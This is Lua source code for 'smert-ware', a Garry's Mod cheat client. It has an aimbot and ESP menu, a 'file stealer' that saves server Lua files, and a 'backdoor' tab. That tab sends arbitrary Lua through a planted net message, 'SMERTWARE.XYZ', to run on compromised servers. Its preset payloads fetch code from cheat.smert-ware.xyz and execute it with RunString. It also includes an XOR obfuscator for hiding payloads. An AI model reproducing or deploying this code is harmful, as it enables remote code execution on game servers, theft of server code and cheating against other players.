--pavetr.top/ds local _G = _G local net = net local surface = surface local sw = {} -- sw.users = { -- ["sanya"] = {r = 1488, p = "1233A"}, -- ["fanca"] = {r = 1337, p = "1324B"} -- } sw.version = "last v1 version(24.08.2021)" sw.USER = SW_USER or { username = exechack_api && exechack_api.GetUserName() || "none",--"none", password = "none" } if SW_USER then SW_USER=nil end _G["surface"]["CreateFont"]("sw_but",{ font = "Arial", size = 30, weight = 5000 }) _G["surface"]["CreateFont"]("sw_loader",{ font = "Arial", size = 20, weight = 5000 }) local e={} function e:Init() self:SetSize(600,400) self:MakePopup() self:SetTitle("smert-ware") end function e:OnPaint(w,h)end function e:Paint(w,h) surface.SetDrawColor(15,15,15,200) surface.DrawRect(0,0,w,h) surface.SetDrawColor(160,0,0,245) surface.DrawRect(0,0,w,25) surface.DrawOutlinedRect( 0,0,w,h,1 ) self:OnPaint(w,h) end vgui.Register("sw_frame", e, "DFrame") local e={} function e:Init() self:SetFont("sw_but") self:SetColor(Color(160,0,0)) self:SetText("sw button") self:SetTall(30) end function e:Paint(w,h) if self:IsHovered() then surface.SetDrawColor(40,40,40) else surface.SetDrawColor(30,30,30) end surface.DrawRect(0,0,w,h) end vgui.Register("sw_but", e, "DButton") local e={} function e:Init() self:SetFont("sw_but") self:SetText("sw button") self.Button.Paint = function(self1, w,h) surface.SetDrawColor(45,45,45) surface.DrawRect(0,0,w,h) if self:GetChecked() then surface.SetDrawColor(160,0,0) local otctup = 2 surface.DrawRect(otctup,otctup,w-(otctup*2),h-(otctup*2)) end end end vgui.Register("sw_cb", e, "DCheckBoxLabel") local e={} function e:Init() self.msg = "???" self.col = Color(50, 50, 50) end function e:SetText(text) self.msg = text end function e:SetColor(col) self.col = col end function e:Paint(w,h) surface.SetDrawColor(self.col) surface.DrawRect(0,0,w,h) draw.SimpleText(self.msg, "DermaDefault", 5, 5, color_white, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP) end vgui.Register("sw_msg", e, "Panel") -- local RIP=false function sw.unload() if sw.main then sw.main:Remove() -- _G["hook"]["Remove"]("Think", "") -- _G["hook"]["Remove"]("CreateMove", "") -- _G["hook"]["Remove"]("HUDPaint", "Sw_") if sw.hooks then for k,v in pairs(sw.hooks) do _G["hook"]["Remove"](v,"Sw_") end end -- sw=nil end RIP=true sw=nil end sw.DownloadImg = function(url, name, custom, force) _G["http"]["Fetch"](url, function(img) local path = "lua/".. name ..".png" local IMAGE_DATA = util.Base64Encode(img) if file.Exists(path,"DATA") && force then return end file.Write(path, util.Base64Decode(IMAGE_DATA)) if sw and sw.msgP then sw.msg('download img "'.. url ..'"') end end, function() print("download error") if sw and sw.msgP then sw.msg('err download img "'.. url ..'"', Color(255,0,0) ) end --if custom then -- local path = "lua/".. name ..".png" -- file.Write(path, file.Read("data/lua/logo.png", "DATA")) --end end) end if not file.IsDir("lua", "DATA") then file.CreateDir("lua") end sw.DownloadImg("https://media.discordapp.net/attachments/725126832894246973/964247713271136306/unknown.png", "sw") -- IS CFG sw.cfg = { ["panic"] = false, --menu ["logo"] = "data/lua/sw.png", --misc ["bhop"] = false, -- ["strafe"] = false, ["wm"] = true, ["wm_anim"]="static", ["msgs"] = true, ["fov"] = false, ["logs"] = { ["dam/kill"] = false, }, --visual ["visual"] = { ["enable"] = false, ["distance"] = 10000, ["only_cross"] = false, ["box"] = false, ["name"] = false, ["team"] = false, ["usergroup"] = false, ["hp"]=false, ["chams"] = { ["enable"] = false, ["type"] = 0, ["wall"] = false }, ["crosshair"]=false, ["fov"]=90 }, ["col"]= { ["box"] = color_white, ["name"] = color_white, ["hp"] = Color(0,255,0), ["ranks"] = color_white, ["chams"] = { ["invis"] = Color(30,30,30,100), ["vis"] = Color(160,0,0,100) } }, -- binds ["keys"]= { ["panic"] = 75 }, --aim ["aim"] = { ["enable"]=true, ["key"]=30, ["autofire"]=false, ["silent"]=false, ["norecoil"]=false, ["nospread"]=false, ["dist"]=10000, ["trigger"]=false, ["notify"] = true, } } --sw.auto_load_cfg = function() -- -- if file.Find("lua/cfgs/al.json","DATA") then -- local tbl = util.JSONToTable(file.Read("lua/cfgs/al.json","DATA")) -- -- else -- -- tbl = {autoload=false} -- -- end -- return (tbl["autoload"]) or false --end --if sw.auto_load_cfg==true then -- if file.Find("lua/cfgs/sw.json","DATA") then -- sw.cfg=util.JSONToTable(file.Read("lua/cfgs/sw.json")) -- end --end sw.delay = function(f1,f2,del) del=del or 3 f1(del) _G["timer"]["Simple"](del, function() f2(del) end) end sw.tabs = {} function sw.create(_ingame) if sw.main then sw.unload() end sw.main = vgui.Create("Panel") sw.main:SetSize(ScrW(),ScrH()) --sw.main:MakePopup() sw.main.Paint=function(self,w,h) surface.SetFont("DermaDefault") surface.SetDrawColor(10,10,10,245) surface.DrawRect(0,0,w,h) local txt = "cheat.smert-ware.xyz /// ".. sw.version .." /// ".. sw.USER.username .." /// ".. LocalPlayer():SteamID() .. " /// ".. game.GetIPAddress() .." /// ".. LocalPlayer():Ping() .."ms /// ".. math.floor(1/FrameTime()) .."fps" local txt_size = surface.GetTextSize(txt) surface.SetDrawColor(60,60,60) surface.DrawRect(3, ScrH()-25, txt_size+5, 10) surface.SetDrawColor(160,0,0) surface.DrawRect(3, ScrH()-25, txt_size+5, 2) draw.SimpleText(txt, "DermaDefault", 5, ScrH()-10, Color( 255, 255, 255, 255 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_BOTTOM) surface.SetDrawColor(255,255,255,200) surface.SetMaterial(Material(sw.cfg["logo"])) surface.DrawTexturedRect(ScrW()/2-150, ScrH()/2-150, 300, 300) end sw.main.ingame = _ingame and true or false sw.menu = vgui.Create("sw_frame", sw.main) sw.menu:SetPos(ScrW()-sw.menu:GetWide(), ScrH()/10) sw.menu:SetTall(30) sw.menu:SetDraggable(false) sw.menu.Close=function() sw.main:Hide() end sw.menu.scrl=vgui.Create( "DScrollPanel", sw.menu ) sw.menu.scrl:Dock( FILL ) sw.menu.addtab = function(size, pos, title, opt) -- opt = {sizeble, drageble} local opt = opt or {false, true} local p=vgui.Create("sw_frame",sw.main) if size and istable(size) then p:SetSize(size[1], size[2]) end if pos and istable(pos) then p:SetPos(pos[1], pos[2]) end if title then p:SetTitle(title) else p:Center() end p.m_iMinWidth, p.m_iMinHeight = size[1], size[2] p.Close = function() p:Hide() end p:Hide() p:SetSizable ( opt[1] ) p:SetDraggable( opt[2] ) local b=sw.menu.scrl:Add("DButton") b:Dock(TOP) b:DockMargin(0, 0, 0, 0) b:SetTall(50) b:SetFont("sw_but") b:SetColor(Color(160,0,0)) b:SetText(title) b.DoClick = function() if p:IsVisible() then p:Hide() else p:Show() p:MakePopup() end end b.Paint = function(self,w,h) local gg = 25 if not p:IsVisible() then if self:IsHovered() then surface.SetDrawColor(gg*1.2,gg*1.2,gg*1.2) else surface.SetDrawColor(gg,gg,gg) end else if self:IsHovered() then surface.SetDrawColor(gg*2.2,gg*2.2,gg*2.2) else surface.SetDrawColor(gg*1.5,gg*1.5,gg*1.5) end end surface.DrawRect(0,0,w,h) end sw.menu:SetTall(sw.menu:GetTall()+b:GetTall()+1) p.scrl = vgui.Create( "DScrollPanel", p ) p.scrl:Dock( FILL ) p.scrl.UPDATE_SETTINGS = function(s) s:Rebuild() end table.insert(sw.tabs, { id = title, p = p }) return p end sw.getTab = function(id) for k,v in ipairs(sw.tabs) do if v.id == id then return v.p end end return false end sw.opts = {} sw.opts2 = {} sw.opts2_ind = {} sw.addOpt = function(tab, tip, opts) local tab_id = tab tab = sw.getTab(tab) if tab and IsValid(tab.scrl) then if tip == "button" then local opt = tab.scrl:Add("sw_but") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetText(opts["text"] or "???") if opts["desc"] then opt:SetTooltip(opts["desc"]) end opt.DoClick = opts["click"] or function() print("err: 404") end if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "cb" then local opt = tab.scrl:Add("sw_cb") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetText(opts["text"] or "???") if opts["desc"] then opt:SetTooltip(opts["desc"]) end if opts["set"] then opt:SetValue(opts["set"]) end if opts["cfg"] then local gayt = opt.Think opt.Think = function() -- gayt() if awfawfawfawf then opt:SetValue(opts["cfg"]) end end end function opt:OnChange(bool) if opts and opts["click"] then opts["click"](bool) end end if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "cb_col" then local panel = tab.scrl:Add("panel") panel:Dock(TOP) panel:DockMargin(3,3,3,0) local opt = vgui.Create("sw_cb",panel) panel:SetTall(opt:GetTall()+1) opt:SetText(opts["text"] or "???") if opts["desc"] then opt:SetTooltip(opts["desc"]) end if opts["set"] then opt:SetValue(opts["set"]) end function opt:OnChange(bool) if opts and opts["click"] then opts["click"](bool) end end if opts["color"] then local color_pick = vgui.Create("sw_but", panel) color_pick:SetText("") color_pick.Paint = function(s,w,h) surface.SetDrawColor(color_white) surface.SetMaterial(Material("icon16/color_wheel.png")) surface.DrawTexturedRectRotated(w/2,h/2,h,h,((CurTime() * 200) % 360)) end color_pick.DoClick=function() if color_pick.frame then color_pick.frame:Remove() end color_pick.frame = vgui.Create("sw_frame",sw.main) color_pick.frame:SetSize(300,300) color_pick.frame:SetPos(gui.MousePos()) color_pick.frame:SetTitle(opts["text"]) -- color_pick.frame:ShowCloseButton(false) color_pick.frame.HOV=true color_pick.palitra = vgui.Create("DColorMixer",color_pick.frame) color_pick.palitra:Dock(FILL) color_pick.palitra:SetPalette(true) color_pick.palitra:SetAlphaBar(true) color_pick.palitra:SetWangs(true) color_pick.palitra.hoverrr = true if opts["color"]["default"] then color_pick.palitra:SetColor(opts["color"]["default"]) end color_pick.palitra.ValueChanged= function() local col = color_pick.palitra:GetColor() opts["color"]["change"](col) end color_pick.frame.OnCursorExited=function() if color_pick.frame.HOV then return end color_pick.frame:Remove() color_pick.frame=nil end color_pick.palitra.OnCursorExited=function()color_pick.frame.HOV=false end end panel.PerformLayout= function() local w,h=panel:GetSize() if color_pick then color_pick.x=w-color_pick:GetWide()+3 end end end if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "bind" then local opt = tab.scrl:Add("DBinder") opt:Dock(TOP) opt:DockMargin(3,3,3,0) -- opt:SetText(opts["text"] or "???") if opts["desc"] then opt:SetTooltip(opts["desc"]) end if opts["set"] then opt:SetValue(opts["set"]) end function opt:OnChange(key) if opts and opts["bind"] then opts["bind"](key) end end opt:SetText("BIND") opt.Paint = function(s,w,h) if s:IsHovered() then surface.SetDrawColor(130,0,0) else surface.SetDrawColor(30,30,30) end surface.DrawRect(0,0,w,h) end opt:SetTextColor(color_white) if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "text" then local opt = tab.scrl:Add("DLabel") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetText(opts["text"] or "???") if opts["desc"] then opt:SetTooltip(opts["desc"]) end opt:SetFont("sw_but") opt:SetColor(Color(100,0,0)) if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "html" then local opt if opts["full"] then opt = vgui.Create("DHTML", tab) else opt = tab.scrl:Add("DHTML") end opt:Dock( opts["full"] and FILL or TOP ) opt:DockMargin(3,3,3,0) if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end if opts["html"] then opt:SetHTML( opts["html"] ) end if opts["url"] then opt:OpenURL( opts["url"] ) end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "select" then local opt = tab.scrl:Add("DComboBox") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetValue(opts["text"]) opt.Paint=function(self,w,h) surface.SetDrawColor(40,40,40) surface.DrawRect(0,0,w,h) end opt.OnSelect = opts["click"] if opts["set"] then for k,v in pairs(opts["set"]) do opt:AddChoice(k, v) end end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "enter txt" then local opt = tab.scrl:Add("DTextEntry") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetPlaceholderText(opts["bg"] or "") opt:SetText(opts["text"] or "") if opts["desc"] then opt:SetTooltip(opts["desc"]) end opt:SetFont("sw_but") opt.OnEnter = opts["click"] if opts["multi"] then opt:SetMultiline(opts["multi"]) opt:SetTall(100) end if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "line" then local opt = tab.scrl:Add( "DNumSlider" ) opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetText( opts["text"] ) opt:SetMin( opts["min"] and opts["min"] or 30 ) opt:SetMax( opts["max"] and opts["max"] or 150 ) opt:SetDecimals( 0 ) opt.OnValueChanged = opts["onset"] if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "color" then -- color mix local opt = tab.scrl:Add("sw_but") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt:SetText(opts["text"]) local picker = vgui.Create("sw_frame", sw.main) picker:SetTitle(opts["text"]) picker:SetSize(300,300) picker:Center() picker:Hide() picker.Close = function() picker:Hide() end picker.palitra = vgui.Create("DColorMixer", picker) picker.palitra:Dock(FILL) picker.palitra:SetPalette(true) picker.palitra:SetAlphaBar(true) picker.palitra:SetWangs(true) picker.palitra:SetColor(opts["color"]) picker.palitra.ValueChanged= function() local col = picker.palitra:GetColor() opts["change"](col) end opt.DoClick = function() if picker:IsVisible() then picker:Hide() else picker:Show() -- picker.palitra:SetColor(opts["color"]) end end if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end if tip == "NULL" then local opt = tab.scrl:Add("DPanel") opt:Dock(TOP) opt:DockMargin(3,3,3,0) opt.Paint = nil if opts["id"] then sw.opts[tab_id .. " " .. opts["id"]] = opt end sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id] or 1 sw.opts2[tab_id .. " " .. sw.opts2_ind[tab_id]] = { p=opt, opts=opts, tab=tab_id, tip=tip } sw.opts2_ind[tab_id] = sw.opts2_ind[tab_id]+1 return true end return false else return false end end sw.getOpt = function(tab, id) if sw and sw.opts then return sw.opts[tab .. " " .. id] or false end end local awfawfawfawf = false sw.refresh = function() -- for _,tab in pairs(sw.tabs) do -- sw.getTab(tab.id).scrl:Clear() -- end -- for _,opt in pairs(sw.opts2) do -- -- print("\n\n".. _, "\n\n") -- PrintTable(opt) -- -- sw.opts2[_] -- -- sw.addOpt(opt.tab, opt.tip, opt.opts) -- if opt.p.GetChecked then -- opt.p:SetValue(true) -- end -- end awfawfawfawf = true timer.Simple(3, function() awfawfawfawf=false end) end -- -- sw.msgPgame = vgui.Create("Panel") -- sw.msgPgame.Paint = nil -- sw.msgPgame:SetSize(100,ScrH()) -- sw.msgPgame:SetPos(ScrW()-100, ScrH()) sw.msgPgame={} sw.msgPgame.scrl=vgui.Create( "DScrollPanel" ) sw.msgPgame.scrl:Dock( FILL ) sw.msgPgame.scrl:DockMargin(100,100,100,100) sw.msgGame = function(msgg, col) if not sw then return end local msg = sw.msgPgame.scrl:Add("sw_msg") msg:Dock(TOP) msg:DockMargin(3,3,3,0) if msgg then msg:SetText(msgg) end if col then msg:SetColor(col) end msg.Think = function() if msg:GetAlpha() <= 0 then msg:Remove() msg=nil return end msg:SetAlpha(msg:GetAlpha()-1) end end sw.msgP = vgui.Create("sw_frame", sw.main) -- sw.msgP:Center() sw.msgP:SetSizable(true) sw.msgP:SetTitle("MSG'S") sw.msgP:SetTall(200) sw.msgP:SetPos((ScrW()/2)-(sw.msgP:GetWide()/2), ScrH()-5-sw.msgP:GetTall()) sw.msgP:ShowCloseButton(false) sw.msgP.OnPaint = function(w,h) --draw.SimpleText("none :D", "DermaDefault", 10, 35, color_white, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP) end sw.msgP.scrl=vgui.Create( "DScrollPanel", sw.msgP ) sw.msgP.scrl:Dock( FILL ) sw.msg = function(msgg, col, game) if not sw then return end local msg = sw.msgP.scrl:Add("sw_msg") msg:Dock(TOP) msg:DockMargin(3,3,3,0) if msgg then msg:SetText(msgg) end if col then msg:SetColor(col) end if game and sw.cfg["msgs"] then sw.msgGame(msgg, col) end end net.Receive("sw_msg", function() local text = net.ReadString() or false local col = net.ReadColor() or false sw.msg(text,col) end) -- sw.netValid = function( ... ) local tbl = { ... } for i = 1, #tbl do local name = string.lower( tbl[ i ] ) if !net.Receivers[ name ] and util.NetworkStringToID( name ) == 0 then return false end end return true end sw.back_sv = false sw.back_check = function() if sw.back_sv == true then return end if sw.netValid("SMERTWARE.XYZ")--[[ or sw.netValid("sw.lua") or sw.netValid("gay") or sw.netValid("somethinknet")]] then local plus_ = 27 sw.back = vgui.Create("sw_frame", sw.main) sw.back:SetTitle("Server GLua") sw.back:SetSizable(true) sw.back:Center() sw.back:Hide() sw.back:ShowCloseButton(false) sw.back.btnMinim:Hide() sw.back.btnMaxim:Hide() sw.back.PerformLayout = function() local w,h = sw.back:GetSize() if sw.back.code then sw.back.code:SetTall(w-10,5000) end sw.back.btnClose:SetPos(sw.back:GetWide()-sw.back.btnClose:GetWide()-3, 1) end sw.back.scrl=vgui.Create("DScrollPanel", sw.back) sw.back.scrl:Dock(FILL) sw.back.code=sw.back.scrl:Add("DTextEntry") sw.back.code:SetMultiline(true) sw.back.code:Dock(TOP) sw.back.code:DockMargin(3,0,3,3) sw.menu.addtab({500, 30}, {5,505}, "backdoor", {true,true}) sw.addOpt( "backdoor", "button", { text = "Backdoor editor", desc = "server lua run", click = function() if sw.back:IsVisible() then sw.back:Hide() else sw.back:Show() sw.back:MakePopup() end end }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) sw.addOpt( "backdoor", "button", { text = "Run server script", desc = "server lua run", click = function() if sw.back then if sw.back.code then net.Start("SMERTWARE.XYZ") net.WriteString(sw.back.code:GetText()) net.SendToServer() end end end }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) --sw.addOpt("glua loader", "button", { -- text = "Run client lua for all [requer backdoor]", -- desc = "open cl script for all player", -- click = function() -- if sw.loader then -- if sw.loader.code then -- net.Start("SMERTWARE.XYZ") -- net.WriteString(sw.back.code:GetText()) -- net.SendToServer() -- end -- end -- end --}) local obf =function(code) local function at(bn) e = "" for aB = 1, string.len(bn) do e = e .. '\\' .. string.byte(bn, aB) end return e end math.randomseed(1 / (os.clock() * 1e3)) local function obff(bo, m) if m <= 0 then return bo end local a8 = math.floor(math.random() * 10000000) math.randomseed(a8) local C = string.gsub(bo, ".", function(bo) return string.format("%02x", bit.bxor(string.byte(bo), math.random(0, 255))) end) return obff('local Q=_G;local q,w,e,r,t,y,u,i,o,p,a,s=' .. a8 .. ',"' .. at(C) .. '",16,0,255,"' .. at("%x%x") .. '",Q["' .. at("string") .. '"]["' .. at("char") .. '"],Q["' .. at("bit") .. '"]["' .. at("bxor") .. '"],Q["' .. at("tonumber") .. '"],Q["' .. at("math") .. '"]["' .. at("random") .. '"],Q["' .. at("math") .. '"]["' .. at("randomseed") .. '"],Q["' .. at("RunString") .. '"];a(q)s((w):gsub(y,function(c)return u(i(o(c,e),p(r,t)))end))', m - 1) end return obff(code:GetText(), 1) end sw.addOpt( "backdoor", "button", { text = "Obfuscate", desc = "Obfuscate script", click = function() sw.back.code:SetText( obf(sw.back.code) ) end }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) sw.addOpt("backdoor", "button", { text = "from file", desc = "open script from file\n*garrysmod*/garrysmod/data/lua/sv/script.txt", click = function() local path_ = vgui.Create("sw_frame", sw.main) path_:SetSizable(false) path_:SetSize(300,80) path_:Center() path_:SetTitle("server script from file") path_.txt = vgui.Create("DTextEntry", path_) path_.txt:Dock(TOP) path_.txt:DockMargin(3,0,3,3) path_.but = vgui.Create("sw_but", path_) path_.but:Dock(TOP) path_.but:DockMargin(3,0,3,3) path_.but:SetText("Load") path_.but.DoClick = function() if not file.IsDir("lua", "DATA") then file.CreateDir("lua") end if not file.IsDir("lua/sv", "DATA") then file.CreateDir("lua/sv") end if file.Exists("lua/".. path_.txt:GetText(), "DATA") then sw.back.code:SetText(file.Read("lua/sv/".. path_.txt:GetText(), "DATA") .."\n\n--cheat.smert-ware.xyz") sw.back:Show() end path_:Close() end function path_.txt:GetAutoComplete( text ) local awfaw = {} for _, script in ipairs( file.Find("lua/sv/*", "DATA") ) do if string.StartWith( script, text ) then table.insert( awfaw, script ) end end return awfaw end path_:MakePopup() end }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) sw.backs = { { text = "SMERT WARE V1", desc = "first version sw visual :D", url = "https://cheat.smert-ware.xyz/back/sw1" }, { text = "Visual kvac", desc = "morgenshtern - Домофон\nvisual by kvac", url = "https://cheat.smert-ware.xyz/back/1" }, { text = "NoName Visual", desc = "PHONK IS LIFE", url = "https://cheat.smert-ware.xyz/back/2" }, { text = "All to space", desc = "All players fly up", url = "https://cheat.smert-ware.xyz/back/fly_all" } } -- sw.addOpt( "backdoor", "text", { text = " V", desc = "Ready code for use ;)" }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) for k,v in pairs(sw.backs) do sw.addOpt( "backdoor", "button", { text = v.text, desc = v.desc, click = function() local back = [[print("SMERT WARE ]].. v.text ..[[") http.Fetch("]].. v.url ..[[",function(e) local _G = _G _G["RunString"](e,"SW",false) end)]] net.Start("SMERTWARE.XYZ") net.WriteString(back) net.SendToServer() end }) sw.getTab("backdoor"):SetTall( sw.getTab("backdoor"):GetTall()+ plus_) end -- sw.back_sv = true end end --- sw.loader_ = { init = function() sw.loader = vgui.Create("sw_frame", sw.main) sw.loader:SetTitle("GLua editor") sw.loader:SetSizable(true) sw.loader:Center() sw.loader:Hide() sw.loader:ShowCloseButton(false) sw.loader.btnMinim:Hide() sw.loader.btnMaxim:Hide() sw.loader.PerformLayout = function() local w,h = sw.loader:GetSize() if sw.loader.code then sw.loader.code:SetTall(h-40) --sw.loader.code:SetPos(5,28) end sw.loader.btnClose:SetPos(sw.loader:GetWide()-sw.loader.btnClose:GetWide()-3, 1) end sw.loader.code=vgui.Create("sw_glua",sw.loader) sw.loader.code:Dock(TOP) sw.loader.code:DockMargin(3,3,3,0) end, open = function() if sw.loader then if sw.loader:IsVisible() then sw.loader:Hide() return end sw.loader:Show() sw.loader:MakePopup() end end, run = function() if sw.loader then if sw.loader.code then local tbl = util.TableToJSON(sw, true) _G["RunString"](sw.loader.code:GetText()) sw.msg("[glua] run script: ".. sw.loader.code:GetText(), Color(100,100,0)) end end end, obf = function(code) local function at(bn) e = "" for aB = 1, string.len(bn) do e = e .. '\\' .. string.byte(bn, aB) end return e end math.randomseed(1 / (os.clock() * 1e9)) local function obff(bo, m) if m <= 0 then return bo end local a8 = math.floor(math.random() * 100000000) math.randomseed(a8) local C = string.gsub(bo, ".", function(bo) return string.format("%02x", bit.bxor(string.byte(bo), math.random(0, 255))) end) return obff('local Q=_G;local w,q,e,r,t,y,u,i,o,p,a,s="' .. at(C) .. '",' .. a8 .. ',16,0,255,"' .. at("%x%x") .. '",Q["' .. at("string") .. '"]["' .. at("char") .. '"],Q["' .. at("bit") .. '"]["' .. at("bxor") .. '"],Q["' .. at("tonumber") .. '"],Q["' .. at("math") .. '"]["' .. at("random") .. '"],Q["' .. at("math") .. '"]["' .. at("randomseed") .. '"],Q["' .. at("RunString") .. '"];a(q)s((w):gsub(y,function(c)return u(i(o(c,e),p(r,t)))end))', m - 1) end return obff(code:GetText(),1) end } -- sw.filesteal = vgui.Create( "sw_frame",sw.main ) local frame = sw.filesteal frame:SetSize( ScrW()*.6, ScrH()*.6 ) frame:SetSizable( true ) frame:Center() frame:MakePopup() frame:SetTitle( "file stealer" ) frame:Hide() frame:ShowCloseButton(false) local onsel = function( path, pnl, gayme ) local sv_name = "test" local steal_path = "lua/stolen/".. sv_name local data = os.date("%d_%m_%Y",os.time()) if (!file.IsDir("lua/stolen", "DATA")) then file.CreateDir("lua/stolen") end if (!file.IsDir(steal_path, "DATA")) then file.CreateDir(steal_path) end local content = file.Read(path,gayme and "GAME" or "LUA") or "Error: content not found :V" local nice_name = string.gsub(path,"/"," ") nice_name = string.Explode(" ",nice_name) local nice_name_tbl = nice_name nice_name = nice_name[#nice_name] local nice_path = "" for i=1,#nice_name_tbl do if i~=#nice_name_tbl then if (!file.IsDir(steal_path .."/".. data .."/".. nice_path .."/".. nice_name_tbl[i], "DATA")) then file.CreateDir(steal_path .."/".. data .."/".. nice_path .."/".. nice_name_tbl[i]) end nice_path = nice_path .. nice_name_tbl[i] .."/" end end local nice_dir = steal_path .."/".. data .."/".. nice_path .."".. nice_name ..".txt" local user = "none" local watermark = '/*\nstolen by cheat.smert-ware.xyz\n\nserver:'.. GetHostName() .." | ".. game.GetIPAddress() ..'\nuser:'.. sw.USER.username ..'\nfile:'.. path ..'\n*/\n\n' sw.msg("content saved: ".. nice_dir,Color(0,100,0),true) if (!file.IsDir(steal_path .."/".. data, "DATA")) then file.CreateDir(steal_path .."/".. data) end file.Write(nice_dir,watermark .."\n\n".. content) end local browser = vgui.Create( "DFileBrowser", frame ) browser:Dock( LEFT ) browser:SetPath( "LUA") browser:SetBaseFolder( "" ) browser:SetOpen( true ) browser:SetCurrentFolder( "persist" ) browser:SetWide(frame:GetWide()*.5) browser:DockMargin(0,23,0,0) function browser:OnSelect( path, pnl ) onsel(path,pnl,false) end local browser2 = vgui.Create( "DFileBrowser", frame ) browser2:Dock( RIGHT ) browser2:SetPath( "GAME") browser2:SetBaseFolder( "lua" ) browser2:SetOpen( true ) browser2:SetCurrentFolder( "persist" ) browser2:SetWide(frame:GetWide()*.5) browser2:DockMargin(0,23,0,0) function browser:OnSelect( path, pnl ) onsel(path,pnl,true) end local txt1=vgui.Create("sw_but",frame) txt1:SetText("1 method") txt1.y=28 txt1:SetTall(23) local txt2=vgui.Create("sw_but",frame) txt2:SetText("2 method") txt2.y=28 txt2:SetTall(23) local gay = frame.PerformLayout frame.PerformLayout=function() gay(frame) local lol = frame:GetWide()*.5 browser:SetWide(lol) browser2:SetWide(lol) txt1:SetWide(lol) txt2.x=lol;txt2:SetWide(lol) end -- sw.expl = sw.menu.addtab({ScrW()/4,500}--[[{800, 444}]], {5,5}, "misc", {true,true}) sw.expl = sw.menu.addtab({500, 166}, {60,60}, "glua loader", {false,true}) sw.expl = sw.menu.addtab({300, 300}, {100,100}, "AIM", {true,true}) sw.expl = sw.menu.addtab({400, 600}, {ScrW()-600,ScrH()-500}, "visual", {true,true}) sw.expl = sw.menu.addtab({600, 300}, {25,ScrH()/2}, "about", {true,true}) sw.expl = sw.menu.addtab({600, 200}, {305,600}, "cfg", {true,true}) -- sw.addOpt( "AIM", "cb", { text = "Enable", desc = "Enable aim bot", click = function(bool) sw.cfg["aim"]["enable"]=bool end, cfg = sw.cfg["aim"]["enable"] }) sw.addOpt( "AIM", "cb", { text = "Silent", desc = "Enable silent aim", click = function(bool) sw.cfg["aim"]["silent"]=bool end, cfg = sw.cfg["aim"]["silent"] }) sw.addOpt( "AIM", "cb", { text = "Auto Fire", desc = "Enable aim autofire", click = function(bool) sw.cfg["aim"]["autofire"]=bool end, cfg = sw.cfg["aim"]["autofire"] }) 